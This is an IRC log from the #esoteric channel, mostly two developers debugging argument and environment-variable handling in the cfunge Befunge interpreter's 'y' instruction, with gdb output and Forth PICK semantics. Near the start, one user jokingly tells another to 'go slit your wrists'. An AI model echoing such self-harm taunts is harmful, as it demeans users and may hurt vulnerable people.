#esoteric :22:38:41 coppro: since there is no actual way to resolve this dispute, as i have said multiple times: your disagreement with what i think doesn't matter. < 1267707231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can defeat your position with your position. < 1267707270 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :augur: It is simpler to assume that all theories that are equally valid-as-predictors are equally valid, than to introduce an entire notion of metaphysics where some theory is more correct than another simply because it is simpler. < 1267707280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since the former is simpler, it is true; therefore theories are not more valid just because they are simpler. < 1267707284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Contradiction, bitchnizzle! < 1267707347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, nice one < 1267707426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:56:39 this is one of the problems with me being a linguist. ive actually done research on what constitutes successful conversations, and can identify failures, and yet am powerless to correct them. < 1267707426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Woe that the world is so much dumber than I! < 1267707432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go slit your wrists or something < 1267707434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267707654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh nice google holiday logo < 1267708916 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :hello sweeties < 1267709615 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION attempts to find an ULV laptop
< 1267712189 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267713528 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1267716961 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I think I've found two (closely related) bugs in cfunge's y-with-positive-argument < 1267717053 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :1) It skips over the terminating null of the environment variables (i.e. the additional one which terminates them all) < 1267717167 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :2) It pushes some nonsense value instead of that null, I think < 1267717186 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In which case I'd actually call it one bug, I changed my mind a bit there between 1) and 2) < 1267717213 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, wait, I was right the first time < 1267717268 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :2) It seems to push an incorrect value if asked for the topmost value on the stack (i.e. argument = number of cells it pushes (+-1?)) < 1267717384 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267717406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm < 1267717434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, test cases for these? < 1267717434 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can test with the following (warning: infinite-looping, use head -n{number of cells it pushes} to terminate it): 1> #;:.:y#@.a#@,1+#;< < 1267717446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267717455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what do you mean with the second one < 1267717463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" 2) It seems to push an incorrect value if asked for the topmost value on the stack (i.e. argument = number of cells it pushes (+-1?))" < 1267717479 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267717480 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I mean y used as a pick instruction to pick the topmost value on the stack < 1267717487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267717490 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That test program basically runs Xy for every X, looping forever < 1267717496 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :X greater than 0 < 1267717497 0 :MigoMipo!~migomipo@84-217-12-12.tn.glocalnet.net JOIN :#esoteric < 1267717531 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :On my machine, cfunge prints there "2751 56" "2752 0" "2753 32785" and then an infinite number of zeroes < 1267717560 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For 2), that should be "2753 2753" < 1267717595 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And for 1), there should be another zero in between those two nonzero values < 1267717634 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :CCBI2 prints "2749 56" "2750 0" "2751 0" "2752 2752" and I think it's right. :-P < 1267717650 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Off-by-one because args[0] is "ccbi" not "cfunge") < 1267717653 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267717665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I get this before the inf zeros: < 1267717666 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, actually it should be off-by-two < 1267717672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2536 105 < 1267717673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2537 100 < 1267717673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2538 0 < 1267717673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2539 32785 < 1267717678 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1267717680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed weird < 1267717724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and long live valgrind < 1267717774 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh right, it's off-by-one and not two because cfunge only prints one zero >_< < 1267717798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm? < 1267717820 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Just confusing myself, not important :-P < 1267717829 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267717843 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267717857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so what are the bugs then? That it gets a invalid read somewhere there? < 1267717868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Is the other bug caused by it or not? < 1267717869 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What I said < 1267717871 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You're missing a zero < 1267717877 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And you're printing 32785 instead of 2539 < 1267717881 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Er, pushing < 1267717883 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Same difference < 1267717908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I am pushing an extra zero it seems when looking at things < 1267717929 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I begin with pushing a zero, then all the env vars? < 1267717951 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You're supposed to push that zero, it's the one that terminates the list of env vars < 1267717966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes, I said it is being done there as far as I can tell < 1267717988 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That program should be printing two zeroes before 2539 (32785) < 1267717998 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The first zero terminates the last env var < 1267718002 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The second terminates the list of env vars < 1267718010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, do you have a good/bad test case for this? I'm not completely sure what exactly the expected result is, and since env variables differ... < 1267718011 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Under cfunge, it's only printing one zero < 1267718027 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Two zeroes. Regardless of env variables (except if you have none at all) < 1267718053 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Since the stack is supposed to look like " 0 0gnirts 0gnirts ..." < 1267718066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well the 32785 looks like it is out of range value < 1267718084 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Quite possibly < 1267718089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Attaching to program: /proc/16804/fd/1014, process 16804 < 1267718089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :0x000000000040e351 in stack_get_index (stack=0x6008520, index=0) at /home/arvid/src/own/cfunge/trunk/src/stack.c:181 < 1267718089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :181 return stack->entries[index - 1]; < 1267718089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print index < 1267718089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$1 = 0 < 1267718092 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah right... < 1267718094 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1267718117 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe if you fix that the other problem will fix itself... < 1267718133 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Also, is there a replacement for rage.kuonet.org? < 1267718150 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so 1 should be first element it seems hstack_get_indexm < 1267718151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm* < 1267718152 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I.e. a homepagey-type thing < 1267718160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION kicks synergy's copy paste failure
< 1267718168 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or should I just pull from launchpad these days < 1267718168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I don't have one no < 1267718173 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, launchpad yes < 1267718186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I'm trying to figure out what stack_get_index() is supposed to do < 1267718193 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267718223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well actually it seems to do the right thing. But the caller is not < 1267718253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :element 1 is supposed to be the first element from base (yes it is one-based, not zero-based, for technical reasons iirc) < 1267718286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, doesn't mycology test y as pick though < 1267718306 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not that much :_P < 1267718308 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P* < 1267718328 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It tests basically picking the 10th cell from the top or something < 1267718342 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Can't remember exactly < 1267718382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well my fix broke mycology's check for it < 1267718385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267718421 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The check probably isn't incorrect since CCBI2 passes that as well < 1267718476 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, would be useful if you could make a GOOD/BAD test for this. < 1267718507 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For the 32785 thing it's relatively easy, for the other one it's a bit of a pain < 1267718520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, they are definitely related < 1267718526 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same underlying cause I think < 1267718535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does 0y push the double zero? < 1267718584 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It should. < 1267718591 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can obviously test for that yourself. < 1267718699 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267718715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm that works correctly as far as I can tell < 1267718728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :stack is at bottom 0 0 100 < 1267718829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does mycology test FRTH? < 1267718836 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1267718838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good < 1267718850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then I can just run one program and grep for BAD < 1267718914 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267719023 0 :asiekierka!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1267719108 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise talks too much. < 1267719126 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :I hear she talks to Bob a lot < 1267719144 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Microsoft Bob? < 1267719154 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Just plain old Bob < 1267719158 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :No, Microsoft Bob Beta 1 < 1267719163 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :because RTMs are boring < 1267719165 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o god < 1267719169 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Or Microsoft Sam, maybe < 1267719175 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :though i think I'd prefer Bob < 1267719179 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :honestly, at least he has craphics < 1267719297 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did you say 2538 was correct value? < 1267719314 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It should be the same as the index < 1267719321 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm okay < 1267719361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, still it doesn't explain the missing zero < 1267719381 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Then you have to figure out what does explain it :-P < 1267719488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm, can you tell me if the values around index 23-26 seems correct in the cfunge output? < 1267719518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :specifically 23, 24 and 25 < 1267719533 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The diff cfunge->ccbi2 shows only differences as: handprint, version, cell size, time, argv[0], and those bugs < 1267719581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you get 23->1 24->46 25->46 ? < 1267719618 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :23->1 24->97 actually but yeah < 1267719631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, 25 is also 97? < 1267719675 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why should it be? < 1267719687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what exactly is indexes 24 and 25 hm.. < 1267719697 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's the first funge argument < 1267719699 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I.e. the name of the file < 1267719705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267719712 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's "arst.b98" here so 24 is 97 (a) and 25 is 114 (r) < 1267719721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :../tests/y-test.b98 < 1267719723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so yeah < 1267719748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so that explanation didn't work then < 1267719749 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267719869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm it seems mycology is still broken from this < 1267719910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, argv format, how many zero bytes should there be between that the the env vars? < 1267719914 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267719928 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :19. a series of sequences of characters (strings), each terminated by a null, the series terminated by an additional double null, containing the command-line arguments. (env) < 1267719934 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :20. a series of strings, each terminated by a null, the series terminated by an additional null, containing the environment variables. (env) < 1267719955 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so 3 zeros in total between env and argv? < 1267720013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no? < 1267720021 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, two zeroes in addition to the one which terminates the last arg, yes < 1267720026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267720040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and only one extra zero below the env vars < 1267720044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267720202 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That makes a certain twisted kind of sense in that the double null is to allow (isolated) empty arguments, but it's impossible on most if not all OSs to have an empty environment variable < 1267720237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is it? < 1267720246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ./cfunge foo.b98 "" "" "" < 1267720246 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What would it even mean? < 1267720254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think that should do it? < 1267720262 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Do what? < 1267720292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh I thought you said "impossible [...] to have an empty argument" < 1267720360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and yeah, I can't imagine how you can get anything shorter than "X=", where X is any letter < 1267720393 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yep < 1267720553 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267720753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I have a fix for both, however since this changed some things that FRTH and y are the only users of I need to carefully test FRTH with edge case arguments < 1267720759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :before I can push this < 1267720778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to remember the semanics for FRTH P
< 1267720877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, http://rcfunge98.com/rcsfingers.html#FRTH doesn't say if P should start indexing at top or bottom < 1267720972 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, it *is* called "*Forth* pick command". < 1267720992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and I don't know forth, I remember checking some forth manual for these when I implemented it < 1267721000 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :6.2.2030 PICK < 1267721000 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :CORE EXT < 1267721000 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : ( xu ... x1 x0 u -- xu ... x1 x0 xu ) < 1267721000 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Remove u. Copy the xu to the top of the stack. An ambiguous condition exists if there are less than u+2 items on the stack before PICK is executed. < 1267721000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I don't remember what the actual semantics were < 1267721023 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Where right side is the top. < 1267721030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so 0 is top item? then 1 is the one below? < 1267721049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, after popping the count < 1267721054 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. "0 pick" does the same as "dup". < 1267721344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I saw a way to optimise y as pick to be faster after first run. will probably implement that later < 1267721359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(except no one uses that...) < 1267721423 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What way's that < 1267721514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, caching size of env and arguments. Then add a fixed constant + number of stacks on stack-stack + cached value to get where picking would begon < 1267721516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :begin* < 1267721610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is forth -roll btw? < 1267721624 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I thought you already did something like that? < 1267721629 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267721630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not quite < 1267721724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw it seems http://rcfunge98.com/rcsfingers.html#FRTH was retconned to mean that negative arguments to L should not reflect < 1267721732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if he at least could provide a change log < 1267721764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not that I'm going to change things here...) < 1267721791 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267721889 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Intuitively I would expect "-roll" to be the same thing as "roll" except rotating to the other direction, but I can't actually find it in the standard. < 1267721909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1267721961 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I think it was an extension, I found it in some manual. < 1267721968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I should then make it error out I guess, unless you can call undefined forth functions in forth. And thus reflecting is the correct thing to do < 1267721972 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267721975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267722037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, btw I found a bug in FRTH: when the stack size is greater than range of funge_cell (cfunge always allow stack to grow to size_t-1 in theory < 1267722048 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(err, that is max value of size_t) < 1267722136 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It could be. Gforth has as an extension "-rot" which is "rot except the other direction", so it's not a completely unexpected extension. < 1267722137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(but if you have a stack larger than 2 GB, I think you have other issues than that) < 1267722168 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The stack can easily be larger than 2 GB on a 64-bit system. < 1267722190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, pushed fixes < 1267722203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I was unable to detect any issues with FRTH apart from the above mentioned < 1267722214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, sure, but then my answer is: use 64-bit cells < 1267722239 0 :cheater99!~cheater@62.176.155.187 JOIN :#esoteric < 1267722240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, in which case it now needs to be larger than a signed 64-bit value, but fit in an unsigned one < 1267722255 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My point was that you can't say "this doesn't matter that much because you're in other problems at that point anyway" < 1267722272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, now FRTH will work anyway < 1267722282 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267722305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, also yes you have other problems at that point. More than 2 GB RAM isn't still common for the "ships with this much as standard" < 1267722314 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/still/yet < 1267722317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :/ < 1267722325 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you have enough RAM you have no problems at all < 1267722339 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267722450 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267722473 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : L ( .. n -- .. n) Forth Roll command -- that stack usage description there is a bit strange, because the Forth ROLL word definitely won't leave the n value there afterwards. < 1267722481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is there any system with ~9223.372 petabytes or RAM? < 1267722508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/or/of/ < 1267722517 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 32-bit size_t, not 64-bit < 1267722547 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If a 32-bit interpreter is running into size_t limits that's very easily not a problem on a modern 64-bit system (except for the interpreter itself) < 1267722563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, um... < 1267722581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you address space will be 4 GB if you have a 32-bit size_t < 1267722601 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267722647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, some of that will be taken by kernel mappings iirc. And libraries. Yes you could probably manage more than 2 GB stack if you could malloc() such a huge continuous chunk < 1267722675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually wait < 1267722681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no you couldn't grow the stack that much < 1267722690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since you need to multiply it by 4 for cell size < 1267722697 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If I'm running a chroot or whatever or I'm running cfunge in 32-bit mode I am completely problemless < 1267722701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or 8 for 64-bit funge cells) < 1267722753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, but you see, 4*(2^31-1) is more than you can fit in 2^32 unless I'm completely mistaken < 1267722764 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I never said it wasn't < 1267722801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and due to that, it will actually not be possible to get a stack on a 32-bit funge with 32-bit size_t where the stack size doesn't fit in a single funge cell < 1267722802 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I said that if you have 2 GB of stack on a 64-bit system you are in no problems at all < 1267722831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, indeed. And if you have that then I suggest you get 64-bit funge cells, or accept that y can't give you proper stack size < 1267722859 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :At that point it still can, but yes, I accept that; of course I do < 1267722864 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267722905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, 2 gibi-funge-cells I mean < 1267722957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which means 8 gigabytes doesn't it? for 32-bit cells < 1267722975 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :2G funge cells is not what I meant. < 1267722990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that is what I meant all along I think < 1267723002 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267723012 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1267723015 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267723029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basically, the "issue" is that you can perhaps grow a stack larger than what fits in a funge-cell < 1267723061 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, you can, at which point it's expected (by me) that y will push a negative value < 1267723113 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267723119 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :integers tend to do 2's-complement signed overflow in Befunge, don't they? < 1267723353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm since n*(2^(8n-1)-1) > (2^(8n)) for any integer n > 2; we can't run into the issue if we use funge cells of the same size as the native pointer size. < 1267723366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since for befunge n must be at least 4 < 1267723986 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Isn't that what (signed) integers tend to do anywhere nowadays? < 1267723998 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes, I suppose it is < 1267724073 0 :MissPiggy!unknown@unknown.invalid 